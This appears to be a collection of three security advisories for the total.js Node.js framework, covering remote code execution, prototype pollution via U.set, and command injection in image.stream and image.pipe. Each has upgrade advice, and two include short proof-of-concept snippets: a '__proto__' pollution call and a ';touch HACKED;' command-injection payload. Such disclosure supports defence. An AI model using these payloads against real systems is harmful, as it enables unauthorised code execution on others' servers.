total.js is a framework for Node.js platfrom written in pure JavaScript similar to PHP's Laravel or Python's Django or ASP.NET MVC. It can be used as web, desktop, service or IoT application.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) via set.

PoC

// To be run in a nodejs console:

Upgrade total.js to version 3.4.8 or higher.

total.js is a framework for Node.js platfrom written in pure JavaScript similar to PHP's Laravel or Python's Django or ASP.NET MVC. It can be used as web, desktop, service or IoT application.

Affected versions of this package are vulnerable to Prototype Pollution. The set function can be used to set a value into the object according to the path. However the keys of the path being set are not properly sanitized, leading to a prototype pollution vulnerability. The impact depends on the application. In some cases it is possible to achieve Denial of service (DoS), Remote Code Execution or Property Injection.

PoC

const total = require('total.js');
let obj = {};
console.log("Before : " + obj.polluted);
U.set({}, '__proto__.polluted', "yes");
console.log("After : " + obj.polluted);

Upgrade total.js to version 3.4.7 or higher.

total.js is a framework for Node.js platfrom written in pure JavaScript similar to PHP's Laravel or Python's Django or ASP.NET MVC. It can be used as web, desktop, service or IoT application.

Affected versions of this package are vulnerable to Command Injection. The issue occurs in the image.pipe and image.stream functions. The type parameter is used to build the command that is then executed using child_process.spawn. The issue occurs because child_process.spawn is called with the option shell set to true and because the type parameter is not properly sanitized.

PoC

const total = require('total.js');
let image = Image.load("");
let payload = ";touch HACKED;";
image.stream(payload);
// image.pipe(null, payload);

Upgrade total.js to version 3.4.7 or higher.
